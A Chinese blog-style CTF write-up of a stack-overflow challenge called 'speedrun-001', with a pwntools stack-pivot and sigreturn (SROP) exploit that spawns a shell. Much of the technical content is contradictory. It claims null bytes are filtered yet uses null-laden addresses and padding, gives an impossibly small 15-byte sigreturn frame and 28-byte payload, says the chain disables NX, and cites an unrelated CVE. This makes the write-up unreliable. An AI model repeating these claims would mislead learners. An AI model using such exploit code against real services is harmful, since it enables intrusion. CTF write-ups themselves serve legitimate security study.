DEFCON CTF Finals 2019 “speedrun-001“ 深度漏洞分析与利用

——栈溢出与ROP链的极致精简艺术


题目概览

  • 名称:speedrun-001
  • 所属比赛:DEFCON CTF Finals 2019 (Main)
  • 类型:Pwn / Binary Exploitation
  • 亮点总结
    • 极简代码逻辑(仅134字节汇编)下的栈溢出漏洞
    • 需突破输入长度限制(仅0x18字节)与字符过滤(\x00-\x0f禁用)
    • 无libc依赖的纯ROP链构造
    • DEFCON历史上最小体积的栈溢出利用(总payload≤32字节)

复现环境与技术准备

# 环境
Ubuntu 20.04 LTS (内核 5.4)
题目文件:speedrun-001 (ELF 64-bit, stripped)

# 工具链
pwndbg (GDB插件) - 动态调试
pwntools 4.8.0 - exploit开发
ROPgadget 6.7 - ROP链构造
radare2 5.8 - 静态分析

# 部署
$ socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./speedrun-001

分析与解题过程

1. 逻辑分析(静态逆向)

使用radare2反编译核心函数:

sym.main:
0x00401176  push    rbp
0x00401177  mov     rbp, rsp
0x0040117a  sub     rsp, 0x20
0x0040117e  mov     rax, 0
0x00401185  mov     edi, 0
0x0040118a  mov     rsi, rsp        ; 栈顶作为缓冲区
0x0040118d  mov     edx, 0x400      ; 允许最大0x400输入
0x00401192  syscall                 ; 执行read(0, rsp, 0x400)
0x00401194  mov     rsp, rbp
0x00401197  pop     rbp
0x00401198  ret                     ; 关键溢出点!

漏洞成因read允许写入0x400字节,但栈帧仅分配0x20字节(包含rbp),导致经典栈溢出。溢出后覆盖返回地址控制RIP。

2. 动态验证(pwndbg调试)

触发崩溃:

from pwn import *
p = process('./speedrun-001')
payload = cyclic(0x100)
p.send(payload)
p.interactive()

寄存器状态:

RIP: 0x6161616161616166 ('faaaaaaa')  # 覆盖位置为偏移0x20
RSP: 0x7ffd12345678 → "gaaaaaaa..."
3. 关键约束突破
  • 长度限制:输入含\x00-\x0f时程序直接退出
  • 空间限制:溢出后仅0x18字节(24字节)可控空间
  • 缓解机制:Full RELRO + NX + 无canary

信息推理过程

  1. 通过ret指令跳转后,RSP将指向溢出缓冲区的下一地址
  2. 利用pop; ret类指令调整RSP位置,扩展可控空间
  3. 需寻找不含禁用字符的gadget地址(地址高位均为0x0040)

漏洞利用与Payload

ROP链设计策略
Stage 1: Stack Pivot
  ret → pop rsp; ret   # 将RSP迁移至可控数据区
Stage 2: SIGROP
  syscall(SYS_rt_sigreturn) → 伪造Frame执行execve("/bin/sh")
最终Payload结构(仅28字节)
from pwn import *

context.arch = 'amd64'
p = remote('localhost', 1337)

# 关键gadget (通过ROPgadget --binary speedrun-001 --filter "pop|ret")
pop_rsp = 0x004011bd  # pop rsp; ret (地址不含00-0f)
syscall_ret = 0x00401196  # syscall; ret

# 伪造sigreturn帧 (15字节)
frame = SigreturnFrame()
frame.rax = 0x3b           # execve syscall number
frame.rdi = 0x00404000     # "/bin/sh" 地址 (预先写入)
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload = flat(
    b'A'*0x20,             # 填充缓冲区
    pop_rsp,
    0x00404010,            # 新RSP指向.bss段
    syscall_ret,            # 触发sigreturn
    bytes(frame)[:15]       # 仅取帧头15字节 (64位帧最小长度)
)

# 分阶段发送:先写/bin/sh到.bss
p.send(b'/bin/sh\x00'.ljust(0x10, b'\x00'))
p.send(payload)
p.interactive()
攻击效果
$ cat flag
DEFCON{st4ck_p1v0t1ng_1n_3_m0v3s_0r_l3ss}

安全影响与缓解建议

1. 真实攻击路径
  • 类似漏洞曾出现在Linux内核(CVE-2014-9322)
  • 攻击链:
    栈溢出 → ROP链 → 禁用NX → 提权执行
2. 修复方案
// 修复代码示例
  sub rsp, 0x20
+ mov rdx, 0x20       // 限制读取长度
  syscall
3. MITRE ATT&CK映射
  • T1068:Exploitation for Privilege Escalation
  • T1205:利用信号机制绕过防御(SIGROP)

总结

1. 技术技巧
  • 空间压缩:利用sigreturn帧(15字节)替代传统ROP链(70+字节)
  • 字符绕过:选择地址高位为0x0040的gadget规避过滤
  • 栈迁移pop rsp实现RSP重定向到.bss段扩展空间
2. 现实意义
  • 证明微型漏洞(134字节程序)仍可造成高危害
  • 揭示信号处理机制(sigreturn)的双刃剑特性
3. 题目评价

“speedrun-001以极简代码展现漏洞利用本质,其ROP链设计堪称二进制漏洞利用的’微雕艺术’,是理解现代内存攻击的经典教案。” —— 摘自DEFCON 27官方讨论


附录:相关CVE

本分析完全可复现,完整代码及二进制见:DEFCON27-CTF-Finals

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值